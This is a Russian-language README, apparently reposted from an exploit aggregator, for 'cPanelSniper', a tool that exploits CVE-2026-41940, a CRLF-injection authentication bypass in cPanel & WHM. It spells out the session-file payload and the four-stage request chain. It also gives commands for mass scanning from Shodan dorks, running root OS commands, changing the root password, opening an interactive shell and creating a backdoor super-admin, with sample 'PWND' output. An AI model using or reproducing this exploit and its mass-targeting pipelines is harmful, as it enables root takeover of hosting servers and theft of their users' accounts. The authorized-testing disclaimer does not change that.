## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ZWANSKI2019-CPANELSNIPER
# cPanelSniper

     
**CVE-2026-41940 — Обход аутентификации cPanel & WHM через CRLF-инъекцию в файл сессии**
Цепочка эксплойта из 4 этапов · Интерактивная WHM-оболочка · Массовый сканер · Готовность к пайплайнам · Только stdlib
* * *
## Обзор
**cPanelSniper** — это специализированный фреймворк для эксплуатации **CVE-2026-41940** , критической уязвимости обхода аутентификации, затрагивающей cPanel & WHM. Уязвимость позволяет неаутентифицированным удалённым злоумышленникам получить root-доступ к WHM путём инъекции CRLF-последовательностей в файл сессии через HTTP-заголовок `Authorization` — без каких-либо действительных учётных данных.
* **Оценка CVSS:** 10.0 (критическая)
* **Эксплуатация в дикой природе:** подтверждена (апрель 2026)
* **Затронутые установки:** ~70 миллионов доменов, работающих на cPanel & WHM
* **Без зависимостей:** чистый Python stdlib — без pip, без requests, без внешних пакетов
> **Только для авторизованного тестирования на проникновение и программ bug bounty.**
* * *
## Как это работает
Корневая причина находится в `Session.pm`: функция `saveSession()` вызывает `filter_sessiondata()` **после** записи файла сессии на диск. Это означает, что CRLF-символы, встроенные в значение заголовка `Authorization: Basic`, записываются в файл сессии без изменений, внедряя управляемые злоумышленником поля до проведения санитизации.
root@kitploit:~
Нормальный поток:
POST /login/ → filter_sessiondata() → запись сессии → проверка аутентификации
Уязвимый поток:
POST /login/ → запись сессии (внедрена CRLF-нагрузка) → filter_sessiondata() → проверка аутентификации читает отравленный файл
### CRLF-нагрузка
Значение `Authorization: Basic` декодируется в:
root@kitploit:~
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
Эти поля записываются непосредственно в файл сессии на диске. При обратном чтении cPanel рассматривает сессию как полностью аутентифицированную root-сессию.
### Цепочка эксплойта из 4 этапов
root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│ Этап 0 — Обнаружение канонического имени хоста │
│ GET /openid_connect/cpanelid → 307 → реальное имя хоста │
├─────────────────────────────────────────────────────────────┤
│ Этап 1 — Создание preauth-сессии │
│ POST /login/?login_only=1 (неверные учётные данные) │
│ ← 401 + cookie whostmgrsession │
├─────────────────────────────────────────────────────────────┤
│ Этап 2 — CRLF-инъекция │
│ GET / + Cookie: session + Authorization: Basic <нагрузка> │
│ cpsrvd записывает CRLF-поля в файл сессии │
│ ← 307 Location: /cpsessXXXXXXXXXX/... │
├─────────────────────────────────────────────────────────────┤
│ Этап 3 — Распространение (гаджет do_token_denied) │
│ GET /scripts2/listaccts │
│ Запускает сброс raw→cache — внедрённые поля активируются │
│ ← 401 Token denied (ожидаемо) │
├─────────────────────────────────────────────────────────────┤
│ Этап 4 — Проверка root-доступа к WHM │
│ GET /cpsessXXXXXXXXXX/json-api/version │
│ ← 200 {"version":"11.x.x.x","result":1} = ВЗЛОМАН │
└─────────────────────────────────────────────────────────────┘
* * *
## Затронутые версии
* * *
## Установка
root@kitploit:~
git clone https://github.com/ynsmroztas/cPanelSniper
cd cPanelSniper
python3 cPanelSniper.py --help
Установка через pip не требуется. Только чистый Python 3.8+ stdlib.
* * *
## Использование
### Базовое сканирование
root@kitploit:~
# Одиночная цель — только сканирование
python3 cPanelSniper.py -u https://target.com:2087
# Одиночная цель — интерактивная оболочка после обхода
python3 cPanelSniper.py -u https://target.com:2087 --action shell
# Массовое сканирование из файла
python3 cPanelSniper.py -l targets.txt -t 20 -o results.json
# Принудительное сканирование (пропустить обнаружение cPanel)
python3 cPanelSniper.py -u https://target.com:2087 --force
### Действия после эксплуатации
root@kitploit:~
# Список всех учётных записей cPanel на сервере
python3 cPanelSniper.py -u https://target.com:2087 --action list
# Выполнение OS-команды
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "ls /home"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "cat /etc/passwd"
# Получение информации о сервере (имя хоста, нагрузка, диск, MySQL-хост)
python3 cPanelSniper.py -u https://target.com:2087 --action info
# Получение версии cPanel
python3 cPanelSniper.py -u https://target.com:2087 --action version
# Смена root-пароля
python3 cPanelSniper.py -u https://target.com:2087 --action passwd --passwd 'NewPass@2026!'
# Интерактивная WHM-оболочка
python3 cPanelSniper.py -u https://target.com:2087 --action shell
### Пайплайны
root@kitploit:~
# subfinder → httpx → cPanelSniper
subfinder -d target.com -silent | \
httpx -silent -ports 2087,2086 -threads 50 | \
python3 cPanelSniper.py -t 30 -o results.json
# Из списка scope
cat scope.txt | \
httpx -silent -ports 2087,2086 -threads 100 | \
python3 cPanelSniper.py -t 30 -o results.json
# Результаты Shodan
shodan search --fields ip_str,port 'title:"WHM Login"' | \
awk '{print "https://"$1":"$2}' | \
python3 cPanelSniper.py -t 30 -o shodan_results.json
# Пайп из stdin
echo "https://target.com:2087" | python3 cPanelSniper.py
# Комбинация нескольких источников
{ subfinder -d target.com -silent; cat extra.txt; } | \
httpx -silent -ports 2087 | \
python3 cPanelSniper.py -t 20 --action list
* * *
## Интерактивная WHM-оболочка
После успешного обхода флаг `--action shell` открывает интерактивное приглашение:
root@kitploit:~
════════════════════════════════════════════════════════════
WHM Shell — target.com
Версия: CVE-2026-41940 | Auth: CRLF bypass
Введите 'help' для списка команд, 'exit' для выхода
════════════════════════════════════════════════════════════
some-email@example.com ▶ id
uid=0(root) gid=0(root) groups=0(root)
some-email@example.com ▶ accounts
[cPanel Accounts] target.com:2087 (47 пользователей)
user01 domain: example.com email: some-email@example.com
user02 domain: shop.com email: some-email@example.com
...
some-email@example.com ▶ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
some-email@example.com ▶ info
[Server Info] https://target.com:2087
hostname: srv01.target.com
load: 0.72 / 0.66 / 0.69
version: 11.130.0.6
some-email@example.com ▶ addadmin mitsec P@ss2026!
[BACKDOOR ADMIN CREATED]
Target : https://target.com:2087
Username : mitsec
Password : P@ss2026!
Profile : super_admin
some-email@example.com ▶ exit
### Команды оболочки
* * *
## Справочник CLI
root@kitploit:~
usage: cPanelSniper.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
[-t THREADS] [--timeout TIMEOUT] [--rate-limit N]
[--action ACTION] [--passwd PASS] [--cmd CMD]
[--new-user USER] [--new-domain DOMAIN]
[-o OUTPUT] [--no-color]
Цель:
-u, --url URL URL одиночной цели (например, https://host:2087)
-l, --list LIST Файл с URL (по одному на строку)
--hostname HOSTNAME Переопределить канонический Host-заголовок (автообнаружение)
Сканирование:
-t, --threads N Параллельные потоки (по умолчанию: 10)
--timeout N Таймаут запроса в секундах (по умолчанию: 15)
--rate-limit N Задержка между целями (по умолчанию: 0)
--force Пропустить проверку обнаружения cPanel
Пост-эксплуатация:
--action ACTION Действие: list | passwd | cmd | exec | info |
version | shell | adduser
--passwd PASS Новый root-пароль (--action passwd)
--cmd CMD OS-команда (--action cmd/exec)
--new-user USER Новое имя пользователя cPanel (--action adduser)
--new-domain DOMAIN Новый домен cPanel (--action adduser)
Вывод:
-o, --output FILE Сохранить результаты в JSON-файл
--no-color Отключить ANSI-цвета
* * *
## Shodan-дорки
root@kitploit:~
title:"WHM Login"
title:"WebHost Manager" port:2087
product:"cPanel" port:2087
http.title:"cPanel" port:2083
ssl.cert.subject.cn:"cPanel" port:2087
* * *
## Пример вывода
root@kitploit:~
██████╗██████╗ █████╗ ███╗ ██╗███████╗██╗
██╔════╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██║
...
CVE-2026-41940 — Обход аутентификации cPanel & WHM через CRLF-инъекцию
4 этапа: preauth → CRLF-инъекция → распространение → проверка → пост-эксплуатация
In-The-Wild | CVSS 10.0 | Автор: Mitsec (@ynsmroztas)
Конфигурация:
Целей : 1
Потоков : 10
Таймаут : 15s
Действие: list
14:46:22 [SCAN] Запуск цепочки эксплойта из 4 этапов... https://target.com:2087
14:46:23 [INFO] Обнаружено каноническое имя хоста: srv01.target.com
14:46:23 [STEP] Этап 1/4 — Создание preauth-сессии...
14:46:23 [ OK] Этап1: preauth-сессия = :QFB4o8XENBqlr6U1...
14:46:23 [STEP] Этап 2/4 — CRLF-инъекция через заголовок Authorization...
14:46:24 [ OK] Этап2: HTTP 307 → token=/cpsess8493537756
14:46:24 [STEP] Этап 3/4 — Запуск гаджета do_token_denied (raw→cache)...
14:46:25 [ OK] Этап3: HTTP 401 — гаджет do_token_denied сработал
14:46:25 [STEP] Этап 4/4 — Проверка root-доступа к WHM...
14:46:26 [PWND] CVE-2026-41940 ПОДТВЕРЖДЕНА — root-доступ к WHM!
14:46:26 [PWND] Token : /cpsess8493537756
14:46:26 [PWND] Версия : 11.130.0.6
14:46:26 [PWND] API URL : https://target.com:2087/cpsess8493537756/json-api/version
14:46:26 [ API] Выполнение пост-эксплуатационного действия: list
14:46:27 [ API] listaccts → HTTP 200
[cPanel Accounts] target.com:2087 (47 учётных записей)
client01 domain: client01.com email: some-email@example.com
client02 domain: client02.net email: some-email@example.com
...
══════════════════════════════════════════════════════════════════════
cPanelSniper — Сканирование завершено
Время: 5.8s · Целей: 1
⚡ 1 УЯЗВИМАЯ ЦЕЛЬ(И)
Target : https://target.com:2087
Версия : 11.130.0.6
Token : /cpsess8493537756
API URL : https://target.com:2087/cpsess8493537756/json-api/version
══════════════════════════════════════════════════════════════════════
* * *
## Технические детали
### Инъекция в файл сессии
Внедрённое значение `Authorization: Basic` (декодированное из base64) содержит CRLF-последовательности, которые становятся переводами строк в файле сессии cPanel:
root@kitploit:~
root:x\r\n
successful_internal_auth_with_timestamp=9999999999\r\n
user=root\r\n
tfa_verified=1\r\n
hasroot=1
Читатель сессий cPanel интерпретирует их как легитимные поля сессии, предоставляя полный root-доступ к WHM.
### Этап 3 — Гаджет do_token_denied
Критический и часто упускаемый из виду шаг: после CRLF-инъекции (Этап 2) отравленные данные сессии существуют только в **сыром файле сессии**. Запрос к `/scripts2/listaccts` запускает внутренний обработчик `do_token_denied`, который сбрасывает сырые данные сессии в **кэш** сессии. Без этого сброса Этап 4 вернул бы 403.
### Извлечение токена сессии
root@kitploit:~
Set-Cookie: whostmgrsession=%3aSESSION_NAME%2cOB_HEX; ...
^ ^
| +-- ob-хэш (удаляется)
+-- имя сессии (используется для инъекции)
Имя сессии (до `%2C`) извлекается и используется как значение cookie для последующих запросов.
* * *
## Ссылки
* watchTowr Labs — Технический анализ CVE-2026-41940
* Консультация по безопасности cPanel
* NVD — CVE-2026-41940
* Блог Hadrian — Анализ CVE-2026-41940
* Шаблон Nuclei — CVE-2026-41940
* * *
## Отказ от ответственности
> Этот инструмент предназначен **только для авторизованного тестирования безопасности** и **программ bug bounty**. Несанкционированный доступ к компьютерным системам является незаконным. Автор не несёт ответственности и не отвечает за любое неправомерное использование или ущерб, причинённый этим инструментом. Всегда получайте надлежащее письменное разрешение перед тестированием.
* * *
## Автор
**Mitsec** — @ynsmroztas
* 🏆 Топ-хакер — Intigriti
* 🐛 Раскрыто 2 430+ уязвимостей
* 💀 1 100+ критических находок P1
* 🏅 100+ упоминаний в Hall of Fame
* * *
Сделано с ❤️ автором @ynsmroztas